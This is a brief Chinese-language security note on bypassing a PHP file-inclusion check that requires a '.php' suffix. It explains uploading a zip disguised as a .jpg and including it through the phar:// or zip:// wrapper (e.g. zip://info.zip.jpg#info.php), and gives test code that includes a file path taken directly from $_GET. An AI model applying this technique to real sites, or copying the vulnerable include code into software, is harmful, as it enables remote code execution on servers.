$include_file 可控,可以上传文件, 上传后缀限制为jpg,gif,png,包含后缀限制必须为.php
allow_url_include=Off (不考虑远程包含)
if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { include_once( $include_file ); }
-----------------------------------------------------
解决方案
要求php>=5.3
把php打包成zip,改名上传,比如名为info.zip.jpg
然后用phar流包装器包含,其中info.zip.jpg为zip文件名,info.php为zip压缩包内子文件名
测试代码:
echo "ini_get(allow_url_include):".ini_get("allow_url_include")."";$include_file=$_GET['a'];if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ){ include_once( $include_file );}else{ echo "file err";}
参考文档:
PS.
据php官方文档所述,最少需要php5.3才能使用,5.3之前需要拓展
如果不能用的话,还可以试试zip流包装器(需要zip拓展),注意转义井号:
zip://info.zip.jpg#info.php